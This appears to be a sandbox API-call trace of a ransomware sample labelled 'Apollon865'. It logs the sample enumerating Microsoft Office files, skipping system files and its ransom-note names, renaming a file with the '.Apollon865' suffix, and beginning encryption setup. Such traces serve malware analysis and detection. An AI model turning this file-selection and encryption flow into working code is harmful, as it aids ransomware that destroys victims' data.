	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="boot") returned -1
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="ids.txt") returned -1
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="ntuser.dat") returned -1
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="perflogs") returned -1
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="MSBuild") returned -1
	[0072.534] lstrlenW (lpString="ACCDDSUI.DLL") returned 12
	[0072.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*") returned 49
	[0072.534] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ACCDDSUI.DLL" | out: lpString1="ACCDDSUI.DLL") returned="ACCDDSUI.DLL"
	[0072.534] lstrlenW (lpString="ACCDDSUI.DLL") returned 12
	[0072.534] lstrlenW (lpString="Apollon865") returned 10
	[0072.534] lstrcmpiW (lpString1="CDDSUI.DLL", lpString2="Apollon865") returned 1
	[0072.534] lstrlenW (lpString=".dll") returned 4
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2=".dll") returned 1
	[0072.534] lstrlenW (lpString=".lnk") returned 4
	[0072.534] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2=".lnk") returned 1
	[0072.535] lstrlenW (lpString=".ini") returned 4
	[0072.535] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2=".ini") returned 1
	[0072.535] lstrlenW (lpString=".sys") returned 4
	[0072.535] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2=".sys") returned 1
	[0072.535] lstrlenW (lpString="ACCDDSUI.DLL") returned 12
	[0072.535] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ACCESS12.ACC" | out: lpString1="ACCESS12.ACC") returned="ACCESS12.ACC"
	[0072.535] lstrlenW (lpString="ACCESS12.ACC") returned 12
	[0072.535] lstrlenW (lpString="Apollon865") returned 10
	[0072.535] lstrcmpiW (lpString1="CESS12.ACC", lpString2="Apollon865") returned 1
	[0072.535] lstrlenW (lpString=".dll") returned 4
	[0072.535] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2=".dll") returned 1
	[0072.535] lstrlenW (lpString=".lnk") returned 4
	[0072.535] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2=".lnk") returned 1
	[0072.535] lstrlenW (lpString=".ini") returned 4
	[0072.535] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2=".ini") returned 1
	[0072.535] lstrlenW (lpString=".sys") returned 4
	[0072.535] lstrcmpiW (lpString1="ACCESS12.ACC", lpString2=".sys") returned 1
	[0072.535] lstrlenW (lpString="ACCESS12.ACC") returned 12
	[0072.535] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ACCOLKI.DLL" | out: lpString1="ACCOLKI.DLL") returned="ACCOLKI.DLL"
	[0072.535] lstrlenW (lpString="ACCOLKI.DLL") returned 11
	[0072.535] lstrlenW (lpString="Apollon865") returned 10
	[0072.535] lstrcmpiW (lpString1="CCOLKI.DLL", lpString2="Apollon865") returned 1
	[0072.535] lstrlenW (lpString=".dll") returned 4
	[0072.535] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2=".dll") returned 1
	[0072.535] lstrlenW (lpString=".lnk") returned 4
	[0072.535] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2=".lnk") returned 1
	[0072.535] lstrlenW (lpString=".ini") returned 4
	[0072.535] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2=".ini") returned 1
	[0072.535] lstrlenW (lpString=".sys") returned 4
	[0072.535] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2=".sys") returned 1
	[0072.535] lstrlenW (lpString="ACCOLKI.DLL") returned 11
	[0072.536] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ACCVDTUI.DLL" | out: lpString1="ACCVDTUI.DLL") returned="ACCVDTUI.DLL"
	[0072.536] lstrlenW (lpString="ACCVDTUI.DLL") returned 12
	[0072.536] lstrlenW (lpString="Apollon865") returned 10
	[0072.536] lstrcmpiW (lpString1="CVDTUI.DLL", lpString2="Apollon865") returned 1
	[0072.536] lstrlenW (lpString=".dll") returned 4
	[0072.536] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2=".dll") returned 1
	[0072.536] lstrlenW (lpString=".lnk") returned 4
	[0072.536] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2=".lnk") returned 1
	[0072.536] lstrlenW (lpString=".ini") returned 4
	[0072.536] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2=".ini") returned 1
	[0072.536] lstrlenW (lpString=".sys") returned 4
	[0072.536] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2=".sys") returned 1
	[0072.536] lstrlenW (lpString="ACCVDTUI.DLL") returned 12
	[0072.536] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ACTIP10.HLP" | out: lpString1="ACTIP10.HLP") returned="ACTIP10.HLP"
	[0072.536] lstrlenW (lpString="ACTIP10.HLP") returned 11
	[0072.536] lstrlenW (lpString="Apollon865") returned 10
	[0072.536] lstrcmpiW (lpString1="CTIP10.HLP", lpString2="Apollon865") returned 1
	[0072.536] lstrlenW (lpString=".dll") returned 4
	[0072.536] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2=".dll") returned 1
	[0072.536] lstrlenW (lpString=".lnk") returned 4
	[0072.536] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2=".lnk") returned 1
	[0072.536] lstrlenW (lpString=".ini") returned 4
	[0072.536] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2=".ini") returned 1
	[0072.536] lstrlenW (lpString=".sys") returned 4
	[0072.536] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2=".sys") returned 1
	[0072.536] lstrlenW (lpString="ACTIP10.HLP") returned 11
	[0072.536] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ACWIZRC.DLL" | out: lpString1="ACWIZRC.DLL") returned="ACWIZRC.DLL"
	[0072.536] lstrlenW (lpString="ACWIZRC.DLL") returned 11
	[0072.536] lstrlenW (lpString="Apollon865") returned 10
	[0072.537] lstrcmpiW (lpString1="CWIZRC.DLL", lpString2="Apollon865") returned 1
	[0072.537] lstrlenW (lpString=".dll") returned 4
	[0072.537] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2=".dll") returned 1
	[0072.537] lstrlenW (lpString=".lnk") returned 4
	[0072.537] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2=".lnk") returned 1
	[0072.537] lstrlenW (lpString=".ini") returned 4
	[0072.537] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2=".ini") returned 1
	[0072.537] lstrlenW (lpString=".sys") returned 4
	[0072.537] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2=".sys") returned 1
	[0072.537] lstrlenW (lpString="ACWIZRC.DLL") returned 11
	[0072.537] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="AEC.VSL" | out: lpString1="AEC.VSL") returned="AEC.VSL"
	[0072.537] lstrlenW (lpString="AEC.VSL") returned 7
	[0072.537] lstrlenW (lpString="Apollon865") returned 10
	[0072.537] lstrlenW (lpString=".dll") returned 4
	[0072.537] lstrcmpiW (lpString1="AEC.VSL", lpString2=".dll") returned 1
	[0072.537] lstrlenW (lpString=".lnk") returned 4
	[0072.537] lstrcmpiW (lpString1="AEC.VSL", lpString2=".lnk") returned 1
	[0072.537] lstrlenW (lpString=".ini") returned 4
	[0072.537] lstrcmpiW (lpString1="AEC.VSL", lpString2=".ini") returned 1
	[0072.537] lstrlenW (lpString=".sys") returned 4
	[0072.537] lstrcmpiW (lpString1="AEC.VSL", lpString2=".sys") returned 1
	[0072.537] lstrlenW (lpString="AEC.VSL") returned 7
	[0072.537] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="AECUTILS.VSL" | out: lpString1="AECUTILS.VSL") returned="AECUTILS.VSL"
	[0072.537] lstrlenW (lpString="AECUTILS.VSL") returned 12
	[0072.537] lstrlenW (lpString="Apollon865") returned 10
	[0072.537] lstrcmpiW (lpString1="CUTILS.VSL", lpString2="Apollon865") returned 1
	[0072.537] lstrlenW (lpString=".dll") returned 4
	[0072.537] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2=".dll") returned 1
	[0072.537] lstrlenW (lpString=".lnk") returned 4
	[0072.537] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2=".lnk") returned 1
	[0072.537] lstrlenW (lpString=".ini") returned 4
	[0072.537] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2=".ini") returned 1
	[0072.537] lstrlenW (lpString=".sys") returned 4
	[0072.538] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2=".sys") returned 1
	[0072.538] lstrlenW (lpString="AECUTILS.VSL") returned 12
	[0072.538] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ASSET.VRD" | out: lpString1="ASSET.VRD") returned="ASSET.VRD"
	[0072.538] lstrlenW (lpString="ASSET.VRD") returned 9
	[0072.538] lstrlenW (lpString="Apollon865") returned 10
	[0072.538] lstrlenW (lpString=".dll") returned 4
	[0072.538] lstrcmpiW (lpString1="ASSET.VRD", lpString2=".dll") returned 1
	[0072.538] lstrlenW (lpString=".lnk") returned 4
	[0072.538] lstrcmpiW (lpString1="ASSET.VRD", lpString2=".lnk") returned 1
	[0072.538] lstrlenW (lpString=".ini") returned 4
	[0072.538] lstrcmpiW (lpString1="ASSET.VRD", lpString2=".ini") returned 1
	[0072.538] lstrlenW (lpString=".sys") returned 4
	[0072.538] lstrcmpiW (lpString1="ASSET.VRD", lpString2=".sys") returned 1
	[0072.538] lstrlenW (lpString="ASSET.VRD") returned 9
	[0072.538] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="BASIC.HTM" | out: lpString1="BASIC.HTM") returned="BASIC.HTM"
	[0072.538] lstrlenW (lpString="BASIC.HTM") returned 9
	[0072.538] lstrlenW (lpString="Apollon865") returned 10
	[0072.538] lstrlenW (lpString=".dll") returned 4
	[0072.538] lstrcmpiW (lpString1="BASIC.HTM", lpString2=".dll") returned 1
	[0072.538] lstrlenW (lpString=".lnk") returned 4
	[0072.538] lstrcmpiW (lpString1="BASIC.HTM", lpString2=".lnk") returned 1
	[0072.538] lstrlenW (lpString=".ini") returned 4
	[0072.538] lstrcmpiW (lpString1="BASIC.HTM", lpString2=".ini") returned 1
	[0072.538] lstrlenW (lpString=".sys") returned 4
	[0072.538] lstrcmpiW (lpString1="BASIC.HTM", lpString2=".sys") returned 1
	[0072.538] lstrlenW (lpString="BASIC.HTM") returned 9
	[0072.538] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="BCSRuntimeRes.dll" | out: lpString1="BCSRuntimeRes.dll") returned="BCSRuntimeRes.dll"
	[0072.538] lstrlenW (lpString="BCSRuntimeRes.dll") returned 17
	[0072.538] lstrlenW (lpString="Apollon865") returned 10
	[0072.538] lstrcmpiW (lpString1="imeRes.dll", lpString2="Apollon865") returned 1
	[0072.538] lstrlenW (lpString=".dll") returned 4
	[0072.539] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2=".dll") returned 1
	[0072.539] lstrlenW (lpString=".lnk") returned 4
	[0072.539] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2=".lnk") returned 1
	[0072.539] lstrlenW (lpString=".ini") returned 4
	[0072.539] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2=".ini") returned 1
	[0072.539] lstrlenW (lpString=".sys") returned 4
	[0072.539] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2=".sys") returned 1
	[0072.539] lstrlenW (lpString="BCSRuntimeRes.dll") returned 17
	[0072.539] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="BHOINTL.DLL" | out: lpString1="BHOINTL.DLL") returned="BHOINTL.DLL"
	[0072.539] lstrlenW (lpString="BHOINTL.DLL") returned 11
	[0072.539] lstrlenW (lpString="Apollon865") returned 10
	[0072.539] lstrcmpiW (lpString1="HOINTL.DLL", lpString2="Apollon865") returned 1
	[0072.539] lstrlenW (lpString=".dll") returned 4
	[0072.539] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".dll") returned 1
	[0072.539] lstrlenW (lpString=".lnk") returned 4
	[0072.539] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".lnk") returned 1
	[0072.539] lstrlenW (lpString=".ini") returned 4
	[0072.539] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".ini") returned 1
	[0072.539] lstrlenW (lpString=".sys") returned 4
	[0072.539] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".sys") returned 1
	[0072.539] lstrlenW (lpString="BHOINTL.DLL") returned 11
	[0072.539] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Bibliography" | out: lpString1="Bibliography") returned="Bibliography"
	[0072.539] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0072.539] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf898
	[0072.539] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7b70
	[0072.539] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1
	[0072.539] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.539] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="Apollon865.txt.exe") returned 1
	[0072.539] lstrcmpiW (lpString1="BSTORM.VSL", lpString2=".") returned 1
	[0072.539] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="..") returned 1
	[0072.539] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="windows") returned -1
	[0072.539] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="bootmgr") returned 1
	[0072.540] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="temp") returned -1
	[0072.540] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="pagefile.sys") returned -1
	[0072.540] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="boot") returned 1
	[0072.540] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="ids.txt") returned -1
	[0072.540] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="ntuser.dat") returned -1
	[0072.540] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="perflogs") returned -1
	[0072.540] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="MSBuild") returned -1
	[0072.540] lstrlenW (lpString="BSTORM.VSL") returned 10
	[0072.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography") returned 60
	[0072.540] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="BSTORM.VSL" | out: lpString1="BSTORM.VSL") returned="BSTORM.VSL"
	[0072.540] lstrlenW (lpString="BSTORM.VSL") returned 10
	[0072.540] lstrlenW (lpString="Apollon865") returned 10
	[0072.540] lstrlenW (lpString=".dll") returned 4
	[0072.540] lstrcmpiW (lpString1="BSTORM.VSL", lpString2=".dll") returned 1
	[0072.540] lstrlenW (lpString=".lnk") returned 4
	[0072.540] lstrcmpiW (lpString1="BSTORM.VSL", lpString2=".lnk") returned 1
	[0072.540] lstrlenW (lpString=".ini") returned 4
	[0072.540] lstrcmpiW (lpString1="BSTORM.VSL", lpString2=".ini") returned 1
	[0072.540] lstrlenW (lpString=".sys") returned 4
	[0072.540] lstrcmpiW (lpString1="BSTORM.VSL", lpString2=".sys") returned 1
	[0072.540] lstrlenW (lpString="BSTORM.VSL") returned 10
	[0072.540] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="BW.CSS" | out: lpString1="BW.CSS") returned="BW.CSS"
	[0072.540] lstrlenW (lpString="BW.CSS") returned 6
	[0072.540] lstrlenW (lpString="Apollon865") returned 10
	[0072.540] lstrlenW (lpString=".dll") returned 4
	[0072.540] lstrcmpiW (lpString1="BW.CSS", lpString2=".dll") returned 1
	[0072.540] lstrlenW (lpString=".lnk") returned 4
	[0072.540] lstrcmpiW (lpString1="BW.CSS", lpString2=".lnk") returned 1
	[0072.540] lstrlenW (lpString=".ini") returned 4
	[0072.540] lstrcmpiW (lpString1="BW.CSS", lpString2=".ini") returned 1
	[0072.540] lstrlenW (lpString=".sys") returned 4
	[0072.540] lstrcmpiW (lpString1="BW.CSS", lpString2=".sys") returned 1
	[0072.541] lstrlenW (lpString="BW.CSS") returned 6
	[0072.541] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="CALEVENT.VRD" | out: lpString1="CALEVENT.VRD") returned="CALEVENT.VRD"
	[0072.541] lstrlenW (lpString="CALEVENT.VRD") returned 12
	[0072.541] lstrlenW (lpString="Apollon865") returned 10
	[0072.541] lstrcmpiW (lpString1="LEVENT.VRD", lpString2="Apollon865") returned 1
	[0072.541] lstrlenW (lpString=".dll") returned 4
	[0072.541] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2=".dll") returned 1
	[0072.541] lstrlenW (lpString=".lnk") returned 4
	[0072.541] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2=".lnk") returned 1
	[0072.541] lstrlenW (lpString=".ini") returned 4
	[0072.541] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2=".ini") returned 1
	[0072.541] lstrlenW (lpString=".sys") returned 4
	[0072.541] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2=".sys") returned 1
	[0072.541] lstrlenW (lpString="CALEVENT.VRD") returned 12
	[0072.541] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="CERTINTL.DLL" | out: lpString1="CERTINTL.DLL") returned="CERTINTL.DLL"
	[0072.541] lstrlenW (lpString="CERTINTL.DLL") returned 12
	[0072.541] lstrlenW (lpString="Apollon865") returned 10
	[0072.541] lstrcmpiW (lpString1="RTINTL.DLL", lpString2="Apollon865") returned 1
	[0072.541] lstrlenW (lpString=".dll") returned 4
	[0072.541] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2=".dll") returned 1
	[0072.541] lstrlenW (lpString=".lnk") returned 4
	[0072.541] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2=".lnk") returned 1
	[0072.541] lstrlenW (lpString=".ini") returned 4
	[0072.541] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2=".ini") returned 1
	[0072.541] lstrlenW (lpString=".sys") returned 4
	[0072.541] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2=".sys") returned 1
	[0072.541] lstrlenW (lpString="CERTINTL.DLL") returned 12
	[0072.541] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="CLVWINTL.DLL" | out: lpString1="CLVWINTL.DLL") returned="CLVWINTL.DLL"
	[0072.542] lstrlenW (lpString="CLVWINTL.DLL") returned 12
	[0072.542] lstrlenW (lpString="Apollon865") returned 10
	[0072.542] lstrcmpiW (lpString1="VWINTL.DLL", lpString2="Apollon865") returned 1
	[0072.542] lstrlenW (lpString=".dll") returned 4
	[0072.542] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2=".dll") returned 1
	[0072.542] lstrlenW (lpString=".lnk") returned 4
	[0072.542] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2=".lnk") returned 1
	[0072.542] lstrlenW (lpString=".ini") returned 4
	[0072.542] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2=".ini") returned 1
	[0072.542] lstrlenW (lpString=".sys") returned 4
	[0072.542] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2=".sys") returned 1
	[0072.542] lstrlenW (lpString="CLVWINTL.DLL") returned 12
	[0072.542] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="CMAXRES.DLL" | out: lpString1="CMAXRES.DLL") returned="CMAXRES.DLL"
	[0072.542] lstrlenW (lpString="CMAXRES.DLL") returned 11
	[0072.542] lstrlenW (lpString="Apollon865") returned 10
	[0072.542] lstrcmpiW (lpString1="MAXRES.DLL", lpString2="Apollon865") returned 1
	[0072.542] lstrlenW (lpString=".dll") returned 4
	[0072.542] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2=".dll") returned 1
	[0072.542] lstrlenW (lpString=".lnk") returned 4
	[0072.542] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2=".lnk") returned 1
	[0072.542] lstrlenW (lpString=".ini") returned 4
	[0072.542] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2=".ini") returned 1
	[0072.542] lstrlenW (lpString=".sys") returned 4
	[0072.542] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2=".sys") returned 1
	[0072.542] lstrlenW (lpString="CMAXRES.DLL") returned 11
	[0072.542] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="COFFEE.CSS" | out: lpString1="COFFEE.CSS") returned="COFFEE.CSS"
	[0072.542] lstrlenW (lpString="COFFEE.CSS") returned 10
	[0072.542] lstrlenW (lpString="Apollon865") returned 10
	[0072.542] lstrlenW (lpString=".dll") returned 4
	[0072.542] lstrcmpiW (lpString1="COFFEE.CSS", lpString2=".dll") returned 1
	[0072.542] lstrlenW (lpString=".lnk") returned 4
	[0072.542] lstrcmpiW (lpString1="COFFEE.CSS", lpString2=".lnk") returned 1
	[0072.542] lstrlenW (lpString=".ini") returned 4
	[0072.543] lstrcmpiW (lpString1="COFFEE.CSS", lpString2=".ini") returned 1
	[0072.543] lstrlenW (lpString=".sys") returned 4
	[0072.543] lstrcmpiW (lpString1="COFFEE.CSS", lpString2=".sys") returned 1
	[0072.543] lstrlenW (lpString="COFFEE.CSS") returned 10
	[0072.543] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="CollectSignatures_Init.xsn" | out: lpString1="CollectSignatures_Init.xsn") returned="CollectSignatures_Init.xsn"
	[0072.543] lstrlenW (lpString="CollectSignatures_Init.xsn") returned 26
	[0072.543] lstrlenW (lpString="Apollon865") returned 10
	[0072.543] lstrcmpiW (lpString1="s_Init.xsn", lpString2="Apollon865") returned 1
	[0072.543] lstrlenW (lpString=".dll") returned 4
	[0072.543] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2=".dll") returned 1
	[0072.543] lstrlenW (lpString=".lnk") returned 4
	[0072.543] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2=".lnk") returned 1
	[0072.543] lstrlenW (lpString=".ini") returned 4
	[0072.543] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2=".ini") returned 1
	[0072.543] lstrlenW (lpString=".sys") returned 4
	[0072.543] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2=".sys") returned 1
	[0072.543] lstrlenW (lpString="CollectSignatures_Init.xsn") returned 26
	[0072.543] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="CollectSignatures_Sign.xsn" | out: lpString1="CollectSignatures_Sign.xsn") returned="CollectSignatures_Sign.xsn"
	[0072.543] lstrlenW (lpString="CollectSignatures_Sign.xsn") returned 26
	[0072.543] lstrlenW (lpString="Apollon865") returned 10
	[0072.543] lstrcmpiW (lpString1="s_Sign.xsn", lpString2="Apollon865") returned 1
	[0072.543] lstrlenW (lpString=".dll") returned 4
	[0072.543] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2=".dll") returned 1
	[0072.543] lstrlenW (lpString=".lnk") returned 4
	[0072.543] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2=".lnk") returned 1
	[0072.543] lstrlenW (lpString=".ini") returned 4
	[0072.543] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2=".ini") returned 1
	[0072.543] lstrlenW (lpString=".sys") returned 4
	[0072.543] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2=".sys") returned 1
	[0072.543] lstrlenW (lpString="CollectSignatures_Sign.xsn") returned 26
	[0072.544] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ContactPickerIntl.dll" | out: lpString1="ContactPickerIntl.dll") returned="ContactPickerIntl.dll"
	[0072.544] lstrlenW (lpString="ContactPickerIntl.dll") returned 21
	[0072.544] lstrlenW (lpString="Apollon865") returned 10
	[0072.544] lstrcmpiW (lpString1="erIntl.dll", lpString2="Apollon865") returned 1
	[0072.544] lstrlenW (lpString=".dll") returned 4
	[0072.544] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2=".dll") returned 1
	[0072.544] lstrlenW (lpString=".lnk") returned 4
	[0072.544] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2=".lnk") returned 1
	[0072.544] lstrlenW (lpString=".ini") returned 4
	[0072.544] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2=".ini") returned 1
	[0072.544] lstrlenW (lpString=".sys") returned 4
	[0072.544] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2=".sys") returned 1
	[0072.544] lstrlenW (lpString="ContactPickerIntl.dll") returned 21
	[0072.544] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="CT_ROOTS.XML" | out: lpString1="CT_ROOTS.XML") returned="CT_ROOTS.XML"
	[0072.544] lstrlenW (lpString="CT_ROOTS.XML") returned 12
	[0072.544] lstrlenW (lpString="Apollon865") returned 10
	[0072.544] lstrcmpiW (lpString1="_ROOTS.XML", lpString2="Apollon865") returned -1
	[0072.544] lstrlenW (lpString=".dll") returned 4
	[0072.544] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2=".dll") returned 1
	[0072.544] lstrlenW (lpString=".lnk") returned 4
	[0072.544] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2=".lnk") returned 1
	[0072.544] lstrlenW (lpString=".ini") returned 4
	[0072.544] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2=".ini") returned 1
	[0072.544] lstrlenW (lpString=".sys") returned 4
	[0072.544] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2=".sys") returned 1
	[0072.544] lstrlenW (lpString="CT_ROOTS.XML") returned 12
	[0072.544] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML.Apollon865") returned 71
	[0072.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml.apollon865"), dwFlags=0x1) returned 1
	[0072.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0072.546] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=6069) returned 1
	[0072.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0072.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0072.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0072.546] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0072.547] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0072.547] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0072.547] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ac0, lpName=0x0) returned 0x118
	[0072.549] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ac0) returned 0x100000
	[0072.550] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0072.551] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0072.551] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0072.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0072.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0072.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
